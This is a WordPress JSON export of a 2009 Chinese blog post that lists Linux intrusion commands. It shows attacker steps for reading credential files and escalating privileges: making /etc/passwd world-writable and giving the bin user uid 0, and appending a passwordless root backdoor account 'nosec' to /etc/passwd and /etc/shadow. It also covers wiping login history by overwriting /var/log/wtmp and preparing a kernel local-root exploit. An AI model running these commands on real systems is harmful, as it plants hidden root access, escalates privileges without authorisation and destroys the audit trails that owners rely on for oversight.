﻿{"id":53,"date":"2009-06-29T15:39:11","date_gmt":"2009-06-29T15:39:11","guid":{"rendered":""},"modified":"2011-11-18T16:47:24","modified_gmt":"2011-11-18T08:47:24","slug":"53","status":"publish","type":"post","link":"http:\/\/zerobox.org\/notes\/53.html","title":{"rendered":"linux\u5165\u4fb5\u5e38\u7528\u547d\u4ee4\u603b\u7ed3"},"content":{"rendered":"<p><span style=\"font-family: \u5b8b\u4f53;\">cat \/etc\/passwd \u67e5\u770blinux\u7528\u6237<br \/>\ncat \/etc\/shadow \u67e5\u770b\u7528\u6237\u5bc6\u7801\u9700\u8981root\u6743\u9650<br \/>\ncat \/etc\/sysconfig\/network-scripts\/ifcfg-ethn\u00a0\u00a0 N\u4ee3\u8868\u7f51\u5361\u53f7 \u67e5\u770b\u6240\u5728\u7f51\u5361\u7684ip\u4fe1\u606f<br \/>\nifconfig \u67e5\u770b\u672c\u673aip\u4fe1\u606f<br \/>\ncat \/etc\/resolv.conf \u67e5\u770bDNS\u4fe1\u606f<br \/>\nbash -i \u5728\u53cd\u5f39\u7684shell\u4e2d\u4f7f\u7528\u53ef\u4ee5\u76f4\u89c2\u663e\u793a\u547d\u4ee4<br \/>\nbash prompt: \u5f53\u4f60\u4ee5\u666e\u901a\u9650\u6743\u7528\u6237\u8eab\u4efd\u8fdb\u5165\u7684\u65f6\u5019\uff0c\u4e00\u822c\u4f60\u4f1a\u6709\u4e00\u4e2a\u7c7b\u4f3cbash$\u7684prompt\u3002\u5f53\u4f60\u4ee5Root\u767b\u9646\u65f6\uff0c\u4f60\u7684prompt\u4f1a\u53d8\u6210<br \/>\nbash#\u3002<br \/>\n\u7cfb\u7edf\u53d8\u91cf : \u8bd5\u7740echo &#8220;$USER \/ $EUID&#8221; \u7cfb\u7edf\u5e94\u8be5\u4f1a\u544a\u8bc9\u4f60\u5b83\u8ba4\u4e3a\u4f60\u662f\u4ec0\u4e48\u7528\u6237\u3002<br \/>\necho 1&gt;\/proc\/sys\/net\/ipv4\/if_forward\u662f\u4e0d\u662f\u4f60\u5199\u9519\u4e86,\u5e94\u8be5\u662fecho 1&gt;\/proc\/sys\/net\/ipv4\/ip_forward,<br \/>\nvim \/proc\/sys\/net\/ipv4\/ip_forward \u5427,\u9ed8\u8ba4\u662f0,\u4e5f\u5c31\u662f\u5185\u6838\u4e0d\u8fdb\u884c\u6570\u636e\u5305\u8fc7\u6ee4,\u6539\u4e3a1 ,\u8ba9\u5185\u6838\u5bf9\u6570\u636e\u5305\u8fdb\u884cfilter\u5904\u7406!<br \/>\nnetstat -an |grep LISTEN |grep :80 \u67e5\u770b\u7aef\u53e3<br \/>\nservice &#8211;status-all | grep running<\/span><\/p>\n<p><span style=\"font-family: \u5b8b\u4f53;\">service &#8211;status-all | grep http<br \/>\n\u67e5\u770b\u8fd0\u884c\u670d\u52a1<br \/>\nlsb_release -a\u00a0\u00a0 \u67e5\u770b\u7cfb\u7edf\u7248\u672c<br \/>\n\u91cd\u542fssh\u670d\u52a1 \uff1a\/usr\/sbin\/sshd stop<br \/>\n\/usr\/sbin\/sshd start<br \/>\nssd_config\u6587\u4ef6\u91cc<br \/>\nPasswordAuthentication no,<br \/>\n\u5c06\u5176\u6539\u4e3a<br \/>\nPasswordAuthentication yes<br \/>\n\u8fdc\u7a0bssh\u624d\u53ef\u767b\u5f55<br \/>\n\u5426\u5219\u663e\u793aAccess denied<\/span><\/p>\n<p><span style=\"font-family: \u5b8b\u4f53;\">\u5176\u4e2dUsepam yes\u53ef\u80fd\u7528\u6765\u5efa\u7acbpam\u65b9\u5f0flogin\uff0c\u6bd4\u5982\u4ece\u5176\u5b83linux\u4e3b\u673assh\u5230\u670d\u52a1\u7aef\uff0c\u5982\u679c\u5173\u95ed\uff0c\u5219\u4e0d\u80fd\u6253\u5f00.<\/span><\/p>\n<p><span style=\"font-family: \u5b8b\u4f53;\">su\u7684\u83dc\u9e1f\u7528\u6cd5<br \/>\n\u5148chomod 777 \/etc\/passwd<br \/>\n\u7136\u540e\u4fee\u6539bin\u7528\u6237\u7684gid\u548cuid\u4e3a0<br \/>\n\u7136\u540epasswd\u8bbe\u7f6ebin\u7684\u5bc6\u7801<br \/>\n\u7136\u540ecp \/bin\/bash \/sbin\/nologin<br \/>\n\u7136\u540esu\u7684\u65f6\u5019su &#8211; bin\u5c31\u53ef\u4ee5\u5230rootshell\u4e86\u3002<br \/>\n\u8fd9\u4e2a\u539f\u7406\u5c31\u662f\u5f53ssh\u4e0d\u5141\u8bb8root\u7528ssh\u7ec8\u7aef\u767b\u9646\u7684\u65f6\u5019\uff0c\u6211\u4eec\u53c8\u4e0d\u77e5\u9053root\u5bc6\u7801\uff0c\u7684\u4e00\u79cd\u5f88\u83dc\u9e1f\u7684\u505a\u6cd5<br \/>\n\u8fd8\u53ef\u4ee5\u8fd9\u6837<br \/>\nsed -i s\/bin:x:1:1\/bin:x:0:1\/g \/etc\/passwd<\/span><\/p>\n<p><span style=\"font-family: \u5b8b\u4f53;\">gcc prtcl2.c \u2013o local \u2013static \u2013Wall<\/span><\/p>\n<p><span style=\"font-family: \u5b8b\u4f53;\">echo &#8220;nosec:x:0:0::\/:\/bin\/sh&#8221; &gt;&gt; \/etc\/passwd<br \/>\necho &#8220;nosec::-1:-1:-1:-1:-1:-1:500&#8221; &gt;&gt; \/etc\/shadow<\/span><\/p>\n<p><span style=\"font-family: \u5b8b\u4f53;\">\u6e05\u7a7alast\u8bb0\u5f55 cp \/dev\/null \/var\/log\/wtmp<br \/>\n&#8212;&#8211;<br \/>\ndd if=\/dev\/zero of=yourfile bs=10M count=10 \u5efa\u7acb\u4e00\u4e2a100m\u7684\u5927\u6587\u4ef6\u5728\u5229\u7528Linux Kernel &lt;= 2.6.17.4 (proc) Local Root Exploit\u63d0\u6743\u7684\u65f6\u5019\u8981\u7528\u5230\u7684<\/span><\/p>\n","protected":false},"excerpt":{"rendered":"<p>cat \/etc\/passwd \u67e5\u770blinux\u7528\u6237 cat \/etc\/shado &hellip;<\/p>\n<p class=\"read-more\"><a href=\"http:\/\/zerobox.org\/notes\/53.html\">\u7ee7\u7eed\u9605\u8bfb &raquo;<\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[29,60],"class_list":["post-53","post","type-post","status-publish","format-standard","hentry","tag-linux-2","tag-60"],"views":866,"_links":{"self":[{"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/posts\/53","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/comments?post=53"}],"version-history":[{"count":0,"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/posts\/53\/revisions"}],"wp:attachment":[{"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/media?parent=53"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/categories?post=53"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/tags?post=53"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}